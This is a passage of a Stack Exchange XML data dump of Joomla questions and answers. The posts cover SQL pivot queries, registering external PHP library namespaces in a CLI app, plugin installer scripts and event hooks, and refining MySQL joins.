separate pages with your second template assigned:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One for the login page set to public access level - that will be of the type com_users -&amp;gt; login. So Joomla will load this page/menu item when redirecting someone for login.&lt;/li&gt;&#xA;&lt;li&gt;The other one with the restricted content that you have now.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Having said that, may I question your purpose and final goal?&lt;br /&gt;&#xA;Are you sure that what you need is really a registered/members only area on the website, or what you actually need is a page with password-protected content?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-03-03T17:24:01.767" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24331" PostTypeId="2" ParentId="22907" CreationDate="2019-03-01T09:11:55.493" Score="1" Body="&lt;p&gt;Yes, your queries can certainly use refactoring.  Using two separate calls on the same table is asking MySQL to do needless extra work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert your queries into plain English, you want to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a result set of &lt;code&gt;containertype1&lt;/code&gt; values sorted by &lt;code&gt;SubmissionId&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;for each &lt;code&gt;SubmissionId&lt;/code&gt; from &lt;code&gt;FormId&lt;/code&gt; &lt;code&gt;28&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;including only submissions that contain a &lt;code&gt;Status1&lt;/code&gt; value of &lt;code&gt;Pending&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The cleanest, most direct way to perform this task is with a &quot;pivot&quot; technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raw Query (untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    MAX(CASE WHEN FieldName = 'containertype1' THEN FieldValue ELSE NULL END)&#xA;FROM `#__rsform_submission_values`&#xA;WHERE FormId = 28&#xA;GROUP BY SubmissionId&#xA;HAVING MAX(CASE WHEN FieldName = 'Status1' THEN FieldValue ELSE NULL END) = 'Pending'&#xA;ORDER BY SubmissionId&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;GROUP BY&lt;/code&gt; creates &quot;aggregate data&quot; for each unique &lt;code&gt;SubmissionId&lt;/code&gt;. Extracting specific details from within this collection of consolidated rows requires specialized calls (e.g.&lt;code&gt;MAX(CASE...)&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;HAVING&lt;/code&gt; clause requires SubmissionIds to contain a row with a &lt;code&gt;FieldName&lt;/code&gt; of &lt;code&gt;Status1&lt;/code&gt; and a &lt;code&gt;FieldValue&lt;/code&gt; value of &lt;code&gt;Pending&lt;/code&gt;. This relies on the fact that your submission_values table does not allow a SubmissionId to have 2 or more &lt;code&gt;Status1&lt;/code&gt; rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For every qualifying SubmissionId, the result set will provide the value that is stored with &lt;code&gt;containertype1&lt;/code&gt;. If the qualifying SubmissionId does not have a &lt;code&gt;containertype1&lt;/code&gt; row, a &lt;code&gt;NULL&lt;/code&gt; value will be provided as the default (you could change &lt;code&gt;NULL&lt;/code&gt; to &lt;code&gt;No Container Type&lt;/code&gt; if you wanted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP/Joomla Syntax (untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;MAX(CASE WHEN FieldName = 'containertype1' THEN FieldValue ELSE NULL END)&quot;)&#xA;    -&amp;gt;from(&quot;#__rsform_submission_values&quot;)&#xA;    -&amp;gt;where(&quot;FormId = 28&quot;)&#xA;    -&amp;gt;group(&quot;SubmissionId&quot;)&#xA;    -&amp;gt;having(&quot;MAX(CASE WHEN FieldName = &quot; . $db-&amp;gt;q(&quot;status&quot;) . &quot; THEN FieldValue ELSE NULL END) = &quot; . $db-&amp;gt;q(&quot;pending&quot;));&#xA;&#xA;// echo $query-&amp;gt;dump();  // uncomment if you want to confirm the rendered query&#xA;try {&#xA;    $db-&amp;gt;setQuery($query);&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;    var_dump($db-&amp;gt;loadColumn());&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // never show getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you would like to see this technique in other contexts, here are some other pivot solutions that I have posted:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/23921/12352&quot;&gt;https://joomla.stackexchange.com/a/23921/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/24320/12352&quot;&gt;https://joomla.stackexchange.com/a/24320/12352&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-03-01T09:11:55.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24332" PostTypeId="1" AcceptedAnswerId="24333" CreationDate="2019-03-02T15:13:31.090" Score="0" ViewCount="930" Body="&lt;p&gt;I'm working on a custom Joomla! CLI application and would like to rely on an &lt;a href=&quot;https://packagist.org/packages/willdurand/email-reply-parser&quot; rel=&quot;nofollow noreferrer&quot;&gt;external PHP library&lt;/a&gt; to reuse some functionality. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set flag that this is a parent file.&#xA;const _JEXEC = 1;&#xA;&#xA;error_reporting(E_ALL | E_NOTICE);&#xA;//error_reporting(E_ALL &amp;amp; ~E_NOTICE);&#xA;ini_set('display_errors', 1);&#xA;&#xA;// Load system defines&#xA;if (file_exists(dirname(__DIR__) . '/defines.php'))&#xA;{&#xA;    require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', dirname(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;// Load the configuration&#xA;require_once JPATH_CONFIGURATION . '/configuration.php';&#xA;&#xA;require_once JPATH_SITE . '/modules/gng/gng_shared.php';&#xA;&#xA;$myApp = JApplicationCli::getInstance('GNGEmailToGuideDownloader');&#xA;$hostname = GNGParam::getParam('email', 'hostname');&#xA;$username = GNGParam::getParam('email_account_guides', 'username');&#xA;$password = GNGParam::getParam('email_account_guides', 'password');&#xA;$myApp-&amp;gt;initStream($hostname, $username, $password);&#xA;$myApp-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The CLI application is based on the GNGEmailToGuideDownloader class that is stored in the gng_shared.php file. This class should use the functionalities of the external library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the directory structure of the source code of the library in the same folder where the gng_shared.php file is stored:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d2Tg5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d2Tg5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I tried to use the &lt;a href=&quot;https://groups.google.com/forum/m/#!topic/joomla-dev-general/5HCEsUAWvE4&quot; rel=&quot;nofollow noreferrer&quot;&gt;JLoader::register mechanism&lt;/a&gt; to load the classes in the library, so that I can instantiate and use them: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//retrieves new guides@ email from the server, saves it in the DB and notifies the guide&#xA;class GNGEmailToGuideDownloader extends GNGEmailDownloader  &#xA;{&#xA;    //downloads the emails from the stream and assigns them to a tour or inquiry&#xA;    public function loadEmails() {&#xA;&#xA;        $filepath = JPATH_SITE . '/modules/gng/EmailReplyParser/Parser/EmailParser.php';&#xA;        if (file_exists($filepath)) {&#xA;            JLoader::register('EmailParser', $filepath);&#xA;            $parser = new EmailParser();&#xA;        } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the EmailParser.php there is the appropriate class: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace EmailReplyParser\Parser;&#xA;&#xA;use EmailReplyParser\Email;&#xA;use EmailReplyParser\Fragment;&#xA;&#xA;/**&#xA; * @author William Durand &amp;lt;william.durand1@gmail.com&amp;gt;&#xA; */&#xA;class EmailParser&#xA;{&#xA;    const QUOTE_REGEX = '/&amp;gt;+$/s';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However on the line where I'm trying to create the parser object I get the following error message when I'm running the CLI app: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Class 'EmailParser' not found in /home/gonative/public_html/dev/modules/gng/gng_shared.php on line 1737&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? &lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12352" LastEditDate="2019-03-03T11:39:24.070" LastActivityDate="2020-02-19T15:44:45.820" Title="How to use external PHP library in Joomla! CLI application - Class not found" Tags="|joomla-3.x|libraries|cli|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24333" PostTypeId="2" ParentId="24332" CreationDate="2019-03-02T21:57:17.557" Score="3" Body="&lt;p&gt;Use &lt;code&gt;JLoader::registerNamespace()&lt;/code&gt; to register this library's namespace. This should work for you current folder structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerNamespace('EmailReplyParser\\Parser', __DIR__, false, false, 'psr0');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use the included autoloader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once __DIR__ . '/autoload.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add import statements before using the classes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use EmailReplyParser\Parser\EmailParser;&#xA;&#xA;$parser = new EmailParser;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use full classnames:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parser = new EmailReplyParser\Parser\EmailParser;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-03-03T08:19:01.037" LastActivityDate="2019-03-03T08:19:01.037" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24335" PostTypeId="1" AcceptedAnswerId="24336" CreationDate="2019-03-04T02:29:25.967" Score="-1" ViewCount="132" Body="&lt;p&gt;I'm wanting to make a very simple plugin. All it needs to do is &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On installation of the plugin, copy a folder to a particular &lt;s&gt;component's&lt;/s&gt; library folder.&lt;/li&gt;&#xA;&lt;li&gt;When a particular &lt;s&gt;component&lt;/s&gt;  library is updated (which deletes all folders and rebuilds), check for the folder again and copy it if it was removed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it. I'm not sure how to achieve it though, as the documentation is a bit sparse and the Joomla Facebook group just told me to read that same documentation page or buy a book. &lt;/p&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="11288" LastEditDate="2019-03-05T00:08:21.663" LastActivityDate="2019-03-07T05:01:31.533" Title="Simple plugin to check folder contents on component update" Tags="|php|component|plugin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24336" PostTypeId="2" ParentId="24335" CreationDate="2019-03-04T07:17:51.103" Score="2" Body="&lt;p&gt;There is the install &lt;strong&gt;script&lt;/strong&gt; there for this task in Joomla which can fire on different points of the extension install or uninstall processes, like install, uninstall, preflight, postflight and on update. You can use that script with your extension (plugin, component or module). You can run any kind of functions at the different events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to study the documentation of this here:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SHORT NOTES ABOUT PLUGIN INSTALLER SCRIPT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if you install a plugin or component then you cannot use &lt;code&gt;mod_&lt;/code&gt; as a prefix for your installer script, that is obvious for someone who is not lazy to study and understand a bit about Joomla. And the question of how to create a plugin installer script had already been answered hundreds of times in the last 10 years. These are couple of things you should keep attention on though when you create a &lt;strong&gt;plugin installer script&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your plugin XML manifest file you should give the name of your installer script whatever it will be, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Scripts to run on installation --&amp;gt;&#xA;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script filename could be simply just &lt;code&gt;script.php&lt;/code&gt; (many give unique names for that though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the top of your plugin file you should include some classes (not in the script file!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Application\CMSApplication;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Database\DatabaseDriver; &#xA;&#xA;defined('_JEXEC') or die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your plugin class name is built up like this: &lt;code&gt;Plg[plugingroupname][pluginname]&lt;/code&gt;, so in this case when you build an &lt;code&gt;extension plugin&lt;/code&gt; for example: &lt;code&gt;class PlgExtensionMybrilliantshit extends CMSPlugin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your &lt;strong&gt;InstallerScript&lt;/strong&gt; class name should be the same as your plugin class name otherwise the installer script will not run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is like: &lt;code&gt;class PlgExtensionMybrilliantshitInstallerScript&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the functions are running with arguments (with a passed PluginAdapter instance), so for example if you want to run your function on &lt;code&gt;install&lt;/code&gt; event, then your function is going to be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function install($adapter)&#xA;    {&#xA;        // here the folder checking and copying lines of the function...&#xA;        echo &quot;Hey, I'm installed and checked your folders&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IF IT IS NOT ON YOUR EXTENSION&lt;/strong&gt; - &lt;strong&gt;PLUGIN EVENT ON OTHER COMPONENT INSTALL&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions are installed using the &lt;strong&gt;Installation Manager&lt;/strong&gt; which also has events when your plugin functions could fire, at the time an extension is installed, updated or uninstalled, for acting on these events you can use an extension plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;plg_extension_custom plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which plugin has to have a function on event for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onExtensionAfterInstall($installer, $eid)&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where $installer is an instance of JInstaller and $eid is the ID of the newly installed component (or other extension).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar event &lt;strong&gt;when an extension is updated&lt;/strong&gt; and you can act on it with your plugin and for that you create a function like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onExtensionAfterUpdate($installer, $eid)&#xA;{&#xA;    $comp_id = 956; // you define the component id which you want to act upon&#xA;    if ($eid === $comp_id)&#xA;    {&#xA;        // all the things you want to do... for example:&#xA;        $src = &quot;&quot;; // you define any folder path here where you want to copy the folder from.&#xA;        $dest = &quot;&quot;; // you define the destination folder path where you want to copy to&#xA;        if(! JFolder::exists(JPATH_ROOT . &quot;libraries/cegcore2&quot;)) // any folder path and folder you want to check the existence of... after it's deleted on update&#xA;        {&#xA;            JFolder::copy($src, $dest, $path = '', $force = false, $use_streams = false); // you can copy the deleted folder back&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not checked or tried the above particular code (it is just a fast example) so it has to be finetuned when you use it but that would be a skeleton of a simple folder checking and copying plugin, after another component is updated for example and your folder had been deleted by that update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can study the use of Joomla &lt;strong&gt;JFolder class&lt;/strong&gt; more here: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JFolder.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JFolder.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can study &lt;strong&gt;Joomla Plugin&lt;/strong&gt; creation more here: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ACTING ON A COMPONENT WHEN IT IS FIRST INSTALLED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question has also come up that what if the component is just installed and in that case we do not yet know the component ID and we cannot really use our plugin function the way we used it on the update event. We cannot identify our component yet by ID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in that case we have to use the &lt;code&gt;$installer&lt;/code&gt; argument of the event function, since via the passed installer object we can get the manifest file of the extension, thus we can get the name of the installed extension right there. So we can ignite our function only if our extension of interest is installed (by name. In this particular case it is: ChronoForms6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the function will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onExtensionAfterInstall($installer, $eid)&#xA;{&#xA;    $xmlobj = $installer-&amp;gt;getManifest(); // we get the manifest Object as SimpleXMLElement&#xA;    $ext_name = (string) $xmlobj-&amp;gt;name; // we get the name of the extension just installed&#xA;    if ($ext_name === &quot;ChronoForms6&quot;)&#xA;    {&#xA;        // echo 'this is the extension I want to be ignited on';&#xA;        // do the folder copying here or anything you would like to&#xA;    }        &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you can use this latter method on update event too and that way you do not have to base your plugin event function on extension ID.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-03-07T05:01:31.533" LastActivityDate="2019-03-07T05:01:31.533" CommentCount="19" ContentLicense="CC BY-SA 4.0" />
  <row Id="24337" PostTypeId="2" ParentId="19528" CreationDate="2019-03-04T16:00:49.943" Score="0" Body="&lt;p&gt;I was also having this issue.. just changed the $secret value. Add any random numbers at the end of it's value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked great!.&lt;/p&gt;&#xA;" OwnerUserId="3717" LastActivityDate="2019-03-04T16:00:49.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24339" PostTypeId="2" ParentId="10503" CreationDate="2019-03-05T02:28:35.877" Score="1" Body="&lt;p&gt;A few points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You have really made a rod for your back by not &quot;normalizing&quot; your &lt;code&gt;org&lt;/code&gt; table.  My strong recommendation is to restructure your &lt;code&gt;org&lt;/code&gt; table to have a &lt;code&gt;type&lt;/code&gt; column versus three static columns -- this means tripling the number of rows in your table.  While this new structure looks less condensed, it permits you to perform much more clean/direct queries on your data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you KNOW that no user will ever hold more than one position (in any organization) AND you don't want to see any vacant positions or unseated users, then you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;b.title AS org_name,&#xA;a.name AS username,&#xA;MAX(CASE a.id&#xA;    WHEN president THEN 'president'&#xA;    WHEN secretary THEN 'secretary'&#xA;    WHEN treasurer THEN 'treasurer'&#xA;    ELSE NULL END) AS type&#xA;FROM `users` a&#xA;INNER JOIN `org` b ON a.id IN (b.president, b.secretary, b.treasurer)&#xA;GROUP BY a.id&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Otherwise, to craft a MySQL query that will accommodate users holding multiple seats, the following query is a bit more convoluted with the UNION ALL clauses, but slightly cleaner than your posted attempt.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT o.title AS org_name, u.name AS username, 'president' AS `type`&#xA;FROM org o&#xA;LEFT JOIN users u ON u.id = o.president&#xA;UNION (&#xA;    SELECT o.title, u.name, 'secretary'&#xA;    FROM org o &#xA;    LEFT JOIN users u ON u.id = o.secretary&#xA;)&#xA;UNION (&#xA;    SELECT o.title, u.name, 'treasurer'&#xA;    FROM org o &#xA;    LEFT JOIN users u ON u.id = o.treasurer&#xA;)&#xA;ORDER BY org_name, type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The SELECT columns only need to be expressed in the first SELECT (the columns are implied with subsequent unions).&lt;/li&gt;&#xA;&lt;li&gt;If you do not wish to include empty seats in your result set (where username is &lt;code&gt;NULL&lt;/code&gt; for a given seat), then replace all of the LEFT JOINs with INNER JOINs.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP/Joomla Syntax for query with UNION ALLs:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select([&#xA;        &quot;o.title AS org_name&quot;,&#xA;        &quot;u.name AS username&quot;,&#xA;        $db-&amp;gt;q(&quot;president&quot;) . &quot; AS `type`&quot;&#xA;    ])&#xA;    -&amp;gt;from('org o')&#xA;    -&amp;gt;innerJoin(&quot;users u on u.id = o.president&quot;)&#xA;    -&amp;gt;order(&quot;org_name, type&quot;);&#xA;&#xA;$types = ['secretary', 'treasurer'];&#xA;foreach ($types as $type) {&#xA;    $query-&amp;gt;union($db-&amp;gt;getQuery(true)&#xA;                     -&amp;gt;select(&quot;o.title, u.name, &quot; . $db-&amp;gt;q($type))&#xA;                     -&amp;gt;from(&quot;org o&quot;)&#xA;                     -&amp;gt;innerJoin(&quot;users u ON u.id = &quot; . $db-&amp;gt;qn(&quot;o.{$type}&quot;))&#xA;    );&#xA;}&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;echo $query-&amp;gt;dump();  // see the generated query&#xA;try {&#xA;    if (!$result = $db-&amp;gt;loadAssocList()) {&#xA;        echo &quot;No Qualifying Rows&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;table&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;&quot;, implode(&quot;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&quot;, array_keys($result[0])), &quot;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            foreach ($result as $row) {&#xA;                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&quot;, implode(&quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;, $row), &quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            }&#xA;        echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');  // never show getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/4qtbgu5gaiET6wHXDe8Dst/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Test Schemas with SQL Demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output from sample data:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT o.title AS org_name,u.name AS username,'president' AS `type`&#xA;FROM org o&#xA;INNER JOIN users u on u.id = o.president&#xA;UNION (&#xA;SELECT o.title, u.name, 'secretary'&#xA;FROM org o&#xA;INNER JOIN users u ON u.id = `o`.`secretary`)&#xA;UNION (&#xA;SELECT o.title, u.name, 'treasurer'&#xA;FROM org o&#xA;INNER JOIN users u ON u.id = `o`.`treasurer`)&#xA;ORDER BY org_name, type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| org_name | username               | type      |&#xA;| -------- | ---------------------- | --------- |&#xA;| ACA Qld  | Majella Fitzsimmons    | president |&#xA;| ACA Qld  | Debra North            | secretary |&#xA;| ACA Qld  | Doug Burns             | treasurer |&#xA;| BMWMCQ   | Paul Hughes            | president |&#xA;| BMWMCQ   | Duncan Bennett         | secretary |&#xA;| BMWMCQ   | John Eacott            | treasurer |&#xA;| Joomla   | Rowan Hoskyns Abrahall | president |&#xA;| Joomla   | Luca Marzo             | secretary |&#xA;| Joomla   | Jason Rosenbaum        | treasurer |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-03-05T07:26:55.887" LastActivityDate="2019-03-05T07:26:55.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24340" PostTypeId="2" ParentId="5813" CreationDate="2019-03-05T12:01:58.650" Score="0" Body="&lt;p&gt;I'd like to add some refinements to the posted query...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;While valid, I recommend building your conditional filters in the WHERE clause versus the JOIN's ON expression -- it will be cleaner to read this way.&lt;/li&gt;&#xA;&lt;li&gt;Rather than writing 3 separate LIKE conditions, it will be more brief to write a single REGEXP condition condensing the 3 targeted substrings.&lt;/li&gt;&#xA;&lt;li&gt;There is no benefit to &lt;code&gt;1 = 1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I recommend writing your &quot;less expensive&quot; conditions before the &quot;heavier&quot; ones.&lt;/li&gt;&#xA;&lt;li&gt;I think it is more intuitive to use &lt;code&gt;!=&lt;/code&gt; when comparing a string, whereas &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; is more appropriate when comparing numeric values.&lt;/li&gt;&#xA;&lt;li&gt;ON expressions don't need to be wrapped in parentheses.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$lat&lt;/code&gt; in the SELECT should be type cast as a float for best security practices.&lt;/li&gt;&#xA;&lt;li&gt;If you are going to use arbitrary table aliases, you should start from &lt;code&gt;a&lt;/code&gt; and descend from there versus using a broken order.&lt;/li&gt;&#xA;&lt;li&gt;ASC is the default sorting direction, so it can be removed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am blindly going to trust your math and I can't be entirely sure about the correctness of your choices of JOINs without having some sample data and knowing the desired output, so I'll leave those aspects alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New RAW SQL:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *, (ACOS(SIN($lat * PI() / 180) * SIN(latitude * PI() / 180) + COS(78 * PI() / 180) * COS(latitude * PI() / 180) * COS((87 - longitude) * PI() / 180)) * 180 / PI()) * 60 * 1.1515 AS distance&#xA;FROM #__content a&#xA;RIGHT JOIN #__jreviews_content b ON b.contentid = a.id&#xA;LEFT JOIN #__categories c ON a.catid = c.id&#xA;LEFT JOIN #__jreviews_media d ON d.listing_id = a.id&#xA;WHERE d.main_media = 1&#xA;  AND d.media_type = 'photo'&#xA;  AND c.title != 'Archives'&#xA;  AND b.jr_latitude &amp;lt;&amp;gt; 0.0000000&#xA;  AND c.title REGEXP 'Stores|Dining|Events'&#xA;HAVING distance &amp;lt;= 50  &#xA;ORDER BY 